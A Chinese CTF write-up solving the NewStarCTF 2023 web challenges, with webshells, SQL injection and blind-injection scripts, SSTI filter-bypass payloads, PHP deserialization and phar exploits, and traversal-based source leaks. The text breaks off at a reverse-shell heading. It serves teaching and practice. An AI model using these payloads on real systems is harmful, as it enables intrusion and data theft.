[NewStarCTF 2023] web题解
_rev1ve 2024-07-28 08:33:01 阅读 94
文章目录
WEEK1泄漏的秘密Begin of UploadBegin of HTTPErrorFlaskBegin of PHPR!C!E!EasyLogin
WEEK2游戏高手include 0。0ez_sqlUnserialize?Upload again!R!!C!!E!!
WEEK3Include 🍐medium_sqlPOP GadgetGenShinOtenkiGirl
WEEK4逃More Fastmidsqlflask diskInjectMePharOne方法一 写马方法二 反弹shell
OtenkiBoy
WEEK5Unserialize AgainFinalYe's Picklepppython?4-复盘NextDrive
WEEK1
泄漏的秘密
打开题目,提示有敏感信息泄露
直接扫一下目录,发现有<code>./www.zip
访问然后下载下来,解压到桌面
源码和robots.txt分别是两部分flag
Begin of Upload
右键看下源码,发现对上传文件后缀名有检测
这里的检测是后缀名只需要出现合法的就行
我们上传1.jpg的一句话木马
然后抓包修改文件名为<code>1.jpg.php
上传成功,然后命令执行得到flag
Begin of HTTP
打开题目,按照要求一步步来
先是GET传参,随便给个值
然后是POST传参,参数值藏在源码处
然后分别是修改cookie为ctfer;修改浏览器为NewStarCTF2023;修改Referer为newstarctf.com
最后一步只能bp抓包修改为127.0.0.1
(这里用XFF不行,我用的是X-Real-IP)
ErrorFlask
打开题目,提示我们传参两个数,然后帮我们计算
我们随便传两个数
告诉我们不是ssti,后面还有计算结果
提示flag在源码
我们修改一下其中一个为字母,让其出现报错
果然出现了<code>/app/app.py源码,得到flag
Begin of PHP
源码
<code> <?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
分析一下
level 1利用弱比较md5值相等level 2利用MD5和sha1函数无法处理数组,进行数组绕过level 3同样利用数组绕过level 4利用php弱类型比较level 5则是利用key3数组绕过正则匹配;利用extract()函数的变量覆盖漏洞,传入非空字符即可
得到flag
R!C!E!
源码
<code> <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
分析一下,第一个if语句判断条件为上传的password参数的MD5值前六位为c4d038;第二个if语句是PHP变量名解析特性和简单的命令执行过滤
首先利用脚本爆破出该数
import hashlib
prefix = "c4d038" # 目标MD5值的前六位
prefix_bytes = prefix.encode() # 将前缀转换为字节串
for i in range(100000000):
b = i.to_bytes(22, 'big')
m = hashlib.md5(str(i).encode()).hexdigest()
if m.startswith(prefix):
print(i)
print(m)
break
爆出来为114514
然后是利用php的解析特性,[
会被解析成下划线_
;和反引号去绕过对system函数的过滤,反斜杠绕过flag,tac替换cat命令
payload
password=114514&e[v.a.l=echo `tac /fla\g`;
得到flag
EasyLogin
打开题目发现是登录框,尝试注册admin
发现用户已存在
我们随便注册一个用户为hacker,密码为123456
登录并抓包,发现密码是MD5加密的
然后放行,发现中途跳转一个php界面
我们丢到重放器,发现是页面302状态,并且出现了提示
我这里因为版本问题,我保存下来用vscode打开
按照提示,果然没有第七行(成功被骗)
结合前面解题思路,老老实实爆破密码
打开bp,payload处理修改一下
爆出对应的MD5值,丢到在线网站得到密码为000000
然后就是登录进入终端
ctrl+c然后ctrl+d退出执行的程序chat
没什么发现,我们刚刚在登陆抓包已经知道中途会跳转
同样试试
结果成功抓到这个重定向的php页面
得到flag
WEEK2
游戏高手
打开题目,发现是小游戏(题目跟最近打的SHCTF比较像)
查看下js代码
发现获得胜利的条件是分数大于100000
我们在控制台输入下面语句
<code>var gameScore = 10000000;
gameover();
回车然后得到flag
include 0。0
源码
<code> <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>
简单的文件包含,这里过滤了常见的转换过滤器base和rot
我们可以用convert.iconv.UTF-8.UTF-16
payload
?file=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=flag.php
得到flag
ez_sql
进来随便点一个,发现有参数id
我们先fuzz测试一下过滤了什么
抓包,随便用一个字典
发现select被过滤了,那么我们用大小写绕过
首先爆一下字段数
<code>?id=-1' union SelECt 1,2,3,4,5 --+
发现字段数为5
爆库名
?id=-1' union SelECt database(),2,3,4,5 --+
然后经过再次测试,发现<code>information_schema.tables和where
都被过滤了
这里用mysql.innodb_table_stats
和wHere
代替
(多次尝试,发现回显的位置在5而不是1,开始卡了很久没回显)
爆表名
?id=-1' union SelECt 1,2,3,4,group_concat(table_name) from mysql.innodb_table_stats wHere '1 --+
因为我们用的是<code>mysql.innodb_table_stats,我们无法查到列名
所以继续用无列名注入
?id=-1' union SelECt 1,2,3,4,group_concat(`1`) from (SelECt 1 union SelECt * from ctf.here_is_flag)a wHere '1 --+
得到flag
Unserialize?
源码
<code> <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
由于是private成员变量,所以序列化后长度会加2,多两个空白符
exp
<?php
class evil {
private $cmd;
function __construct($cmd1){
$this->cmd=$cmd1;
}
}
$a=new evil('ls /');
echo serialize($a);
?>
手动添加%00
得到flag
Upload again!
打开题目
先上传最普通的马<code>1.php,发现被检测了
我们尝试修改下后缀为<code>.jpg,发现还是不行
在后面尝试修改MIME以及文件头,都不能绕过
猜测是对一句话木马的<code><?过滤,那么我们修改为js马
<script language="php">eval($_POST['shell']);</script>code>
发现可以上传,不过没有被解析成php
那么我们可以用<code>.htaccess配置文件攻击,让jpg文件被解析成php
首先创建.htaccess文件
,写入
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传成功后,上传名为1.jpg
的js马
命令执行一下
得到flag
R!!C!!E!!
打开题目,提示有信息泄露
这里我是dirsearch扫了一下目录(扫了很久)
扫完后翻翻发现有git泄露
直接用工具
先运行工具,然后访问<code>./.git/
源码如下
<code><?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
一眼无参RCE,然后过滤了很多函数
这里我们用的是getallheaders()函数
我们先看看http头部信息
?star=print_r(getallheaders());
然后我们选择添加命令在User-Agent那里
payload
<code>?star=eval(next(getallheaders()));
得到flag
WEEK3
Include 🍐
源码
<code> <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
分析一下,有文件包含漏洞,将变量和.php
拼接,但是过滤了几个重要的伪协议。按照它的提示到./phpinfo.php
看看,发现有假flag,不过给了hint让我们看看register_argc_argv(不了解的可以百度)。我们再在./phpinfo.php
搜一下,发现选项是on
那么存在漏洞,具体方法为利用pearcmd.php本地文件包含
首先要知道在pearcmd.php中<code>&符无发分割参数,真正能分割参数的是+
;然后就是利用的命令为config-create,其包括两个参数,一个是绝对路径,还有保存配置文件的文件名;并且第一个参数会被写进到文件里,我们借此实现命令执行
payload
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+shell.php
注:由于源码会拼接.php
,所以为pearcmd
bp抓包发送
然后访问<code>./shell.php
得到flag
medium_sql
可以先bp抓包,fuzz测试一下
过滤的可以用大小写绕过,然后提示了不能联合查询
我们尝试布尔盲注
<code>?id=TMP0919' And if(1>0,1,0)%23
注:#为url编码过的
然后修改一下
<code>?id=TMP0919' And if(1<0,1,0)%23
可以发现当正确时有回显,错误时无回显,可以用布尔盲注
脚本如下(菜鸡本人写的)
import string
host = "http://fad66500-0807-4ead-8cad-dbbe48fd82cc.node4.buuoj.cn:81/?id=TMP0919"
def DBname():
global host
flag=''code>
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--库名
payload = "' And if(Ascii(Substr(database(),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
res = requests.get(host + payload)
if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
i += 1
print("数据库名为:"+flag)
def TBname():
global host
flag=''code>
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--表名
payload = "' And if(Ascii(Substr((Select Group_concat(table_name) From infOrmation_schema.tables Where Table_schema='ctf'),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)code>
res = requests.get(host + payload)
if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
i += 1
print("数据表名为:"+flag)
def CLname():
global host
flag=''code>
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--列名
payload = "' And if(Ascii(Substr((Select Group_concat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag'),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)code>
res = requests.get(host + payload)
if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
i += 1
print("数据列名为:"+flag)
def Valname():
global host
flag=''code>
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#--报数据
payload = "' And if(Ascii(Substr((Select Group_concat(flag) From here_is_flag),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
res = requests.get(host + payload)
if 'Physics' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
i += 1
print("数据为:"+flag)
DBname()
TBname()
CLname()
Valname()
运行脚本得到flag
POP Gadget
源码
<code> <?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);
pop链子
Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
由于链子调用中成员属性有private和protected
我们用construct方法去调用链子,最后再使用url编码绕过
exp
<?php
class Begin{
public $name;
public function __construct($a)
{
$this->name = $a;
}
}
class Then{
private $func;
public function __construct($a)
{
$this->func= $a;
}
}
class Handle{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class Super{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class CTF{
public $handle;
public function __construct($a)
{
$this->handle = $a;
}
}
class WhiteGod{
public $func;
public $var;
public function __construct($a, $b)
{
$this->func = $a;
$this->var = $b;
}
}
$a = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($a));
得到flag
GenShin
考点:ssti
在响应头找到hint
访问,fuzz测试一下
发现过滤了<code>{ {}},',request,init,lipsum,popen
那么我们使用{%print()%}
绕过{ {}}
,enter代替init,至于popen则可以字符串拼接(虽然整个payload都直接可以拼接)
我们查找下能利用的
查找<code><class 'os._wrap_close'>,在第132个
payload
<code>{%print("".__class__.__bases__[0].__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat /flag").read())%}
得到flag
OtenkiGirl
考点:js原型链污染
题目给了源码,我们先看app.js
<code>const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;
const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");
const app = new Koa();
app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
onerror: function (err, ctx) {
// If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
ctx.request.body = {}
} else {
throw err;
}
}
}));
[
"info",
"submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
app.listen(PORT, () => {
console.info(`Server is running at port ${PORT}...`);
})
module.exports = app;
简单分析一下,就是给了两个路由,分别是./info
和./submit
然后我们跟踪到route的info.js
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}
try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})
module.exports = router;
代码很长,但是主要部分就是getInfo函数
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
这行代码初始化一个minTimestamp变量。它从配置对象CONFIG中获取min_public_time属性的值,如果不存在则使用默认配置对象DEFAULT_CONFIG中的min_public_time属性的值。然后,通过new Date()构造函数将该时间转换为一个日期对象,并使用getTime()方法获取其对应的时间戳。
而当我们跟踪到config.js时发现并没有配置该属性,所以属性的值为config.default.js中的
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
}
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}
那么我们知道getInfo对timestamp进行了一次过滤,使得所返回的数据不早于配置文件config中的min_public_time,猜测flag在这个min_public_time之前
所以我们可以利用原型链污染使得该值在2019-07-09之前即可
我们知道上传的为json格式
payload
<code>{
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}
污染成功
再次访问,得到flag
(如果不成功。清除下网站cookie再刷新)
WEEK4
逃
考点:字符串逃逸
源码
<code><?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}
class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}
unserialize(waf(serialize(new GetFlag($_GET['key']))));
分析一下,首先命令执行对应的参数为cmd,而实例化时可控的对象为key值,题目进行反序列化的时候我们只能通过get传参去控制key,结合waf函数可以字符替换,考虑用字符串逃逸
我们本地测试下,如果传入key值为a
<?php
class GetFlag {
public $key='a';code>
public $cmd = "whoami";
}
$a=new GetFlag();
echo serialize($a);
那么序列化后的结果为
O:7:"GetFlag":2:{s:3:"key";s:1:"a";s:3:"cmd";s:6:"whoami";}
由于cmd的值不可控,我们尝试把cmd的值写到key里面,也就是将字符串";s:3:"cmd";s:10:"cat /flag";}
写进去
字符串就变成如下
O:7:"GetFlag":2:{s:3:"key";s:1:"a";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}
然后我们计算一下后面被挤掉的部分字符串a";s:3:"cmd";s:6:"whoami";}
,长度为26,那么我们就需要26个bad被good替换的字符长度差1,再加上whoami
变成cat /flag
的长度差3,总共需要29个bad
所以最终构造的payload如下
O:7:"GetFlag":2:{s:3:"key";s:117:""badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}
也就是说上传key为
"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
得到flag
More Fast
考点:GC回收机制提前触发__destruct()
源码
<code><?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
pop链
Start.__destruct() --> Crypto.__toString() --> Reverse.__get() --> Pwn.__invoke() --> Web.evil()
整个链子逻辑很清晰,关键考点就是开头的这一步,由于题目会抛出异常,导致__destruct()方法不能触发,所以我们要进行绕过,下面对绕过方法解释下
GC回收机制
在PHP中,使用
引用计数
和回收周期
来自动管理内存对象的,当一个变量被设置为NULL
,或者没有任何指针指向时,它就会被变成垃圾,被GC
机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC
机制回收,在回收的过程中,它会自动触发_destruct
方法,而这也就是我们绕过抛出异常的关键点。
也就是在最后序列化前进行$A=array($a,NULL);
这样的步骤
exp如下
<?php
class Start{
public $errMsg;
}
class Pwn{
public $obj;
}
class Reverse{
public $func;
}
class Web{
public $func;
public $var;
}
class Crypto{
public $obj;
}
class Misc{
}
$a=new Start();
$b=new Crypto();
$c=new Reverse();
$d=new Pwn();
$e=new Web();
$a->errMsg=$b;
$b->obj=$c;
$c->func=$d;
$d->obj=$e;
$e->func='system';code>
$e->var="cat /f*";code>
$A=array($a,NULL);
echo serialize($A);
运行结果
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;N;}
将最后的i:1
改为i"0
即可,得到flag
midsql
考点:时间盲注
fuzz测试一下,发现只过滤了空格,用/**/替换
然后测试,发现可以时间盲注
<code>?id=1/**/and/**/(1,sleep(5),3)#
脚本如下
import requests
import time
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz,}{-'
database = ''
table = ''
column = ''
flag = ''
global DB_length
global TB_length
global CL_length
#爆数据库
for l in range(1,20):
Url = 'http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length(database())>{0},1,sleep(3))#'
UrlFormat = Url.format(l) #format()函数使用
start_time0 = time.time() #发送请求前的时间赋值
requests.get(UrlFormat)
if time.time() - start_time0 > 2:#判断正确的数据库长度
print('database长度为:' + str(l))
global DB_length
DB_length = l#把数据库长度赋值给全局变量
break
else:
pass
for i in range(1,DB_length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = 'http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr(database(),{0},1))>{1},1,sleep(3))#'
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat)
if time.time() - start_time > 2:
database+=char
print('database第{}个字符:{}'.format(i, database))
break
else:
pass
print('database: ' + database)
#爆表
for l in range(1,20):
Url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('ctf')))>{0},1,sleep(3))#"
UrlFormat = Url.format(l)
start_time0 = time.time()
requests.get(UrlFormat)
if time.time() - start_time0 > 2:
print('table长度为:' + str(l))
global TB_length
TB_length = l
break
else:
pass
for i in range(1,TB_length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('ctf')),{0},1))>{1},1,sleep(3))#"
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat)
if time.time() - start_time > 2:
table+=char
print('table第{}个字符:{}'.format(i, table))
break
else:
pass
print('table: ' + table)
#爆列
for l in range(1,20):
Url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('items')))>{0},1,sleep(3))#"
UrlFormat = Url.format(l)
start_time0 = time.time()
requests.get(UrlFormat)
if time.time() - start_time0 > 2:
print('column长度为:' + str(l))
global CL_length
CL_length = l
break
else:
pass
for i in range(1,CL_length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('items')),{0},1))>{1},1,sleep(3))#"
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat)
if time.time() - start_time > 2:
column+=char
print('column第{}个字符:{}'.format(i, column))
break
else:
pass
print('column: ' + column)
#爆数据
for i in range(1,80):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/items),{0},1))>{1},1,sleep(3))#"
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat)
if time.time() - start_time > 2:
flag+=char
print('flag第{}个字符:{}'.format(i, flag))
break
else:
pass
print('flag: ' + flag)
flask disk
打开题目,有三个链接
分别是查看文件,上传文件,输入pin码进入<code>admin manage
访问admin manage发现要输入pin码,说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。
(注:语法不能出错)
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)code>
上传成功后,直接在跟路由命令执行
InjectMe
考点:session伪造,ssti
下载附件,发现是泄露了目录<code>./app
打开题目,给了download的部分源码
分析一下,<code>./download路由下,接受GET参数file,如果没有则filename为空值,然后是过滤了../
,由于这里是替换为空,可以绕过。然后拼接路径,如果存在则返回
结合Dockerfile泄露的目录,可以猜到运行文件,直接目录穿越读取源码
/download?file=..././..././..././app/app.py
源码如下
import os
import re
from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key
app = Flask(__name__)
app.secret_key = secret_key
@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')
@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"
@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)
@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{ {|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)
@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', port=8080)
分析一下
存在./backdoor
路由,获取session中user的值,如果没有赋值为guest,有的话进行正则匹配(此处存在ssti漏洞)
根据源码,secret_key在config.py里,我们可以访问下载得到key
获取key
/download?file=..././..././..././app/config.py
然后解密
由于过滤了很多,这里用八进制编码绕过
脚本如下
import requests
import subprocess
# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# # https://github.com/noraj/flask-session-cookie-manager
def string_to_octal_ascii(s):
octal_ascii = ""
for char in s:
char_code = ord(char)
octal_ascii += "\\\\" + format(char_code, '03o')
# octal_ascii += "\\\\" + format(char_code, 'o')
return octal_ascii
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
# payload = "{%print(7*7)%}"
# payload = "{%print(\"\"\\\\u005f\\\\u005f\"\")%}"
# payload = "{%print(\"\"\\\\x5f\\\\x5f\"\")%}"
eval_shell = "\"\""+string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()")+"\"\""
print(eval_shell)
# docker部署&windows运行payload
# { {x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
payload = "{ {%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}".format(eval_shell)
print(payload)
command = "python flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{ {'user':'{1}'}}\"".format(secret_key,payload)
print(command)
session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)
url = "http://127.0.0.1:8080/backdoor"
cookies = {"session": session_data}
res = requests.get(url=url, cookies=cookies)
# print(res.text)
pattern = r'<h1>(.*)</h1>'
result_content = re.search(pattern, res.text, re.S)
# print(result_content)
if result_content:
result = result_content.group(1)
print(result)
else:
print("something wrong!")
得到flag
PharOne
考点:Phar反序列化、gzip压缩、无回显RCE
打开题目,有文件上传功能
访问<code>./class.php,得到源码
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
结合文件上传,考虑phar反序列化;同时还是无回显RCE,用写入马和反弹shell都行
用普通的phar文件上传发现不行(jpg才行)
修改然后上传发现被正则匹配
绕过正则匹配,这里用的是gzip压缩的方法
方法一 写马
exp
<code><?php
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";code>
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后gzip命令压缩
上传成功后,访问<code>./class.php
使用phar伪协议读取上传文件
file=phar://upload/9e32fd5eb93d0766e32d9e33cc3ef2d5.jpg
执行成功后,访问写入的1.php,得到flag
方法二 反弹shell
exp
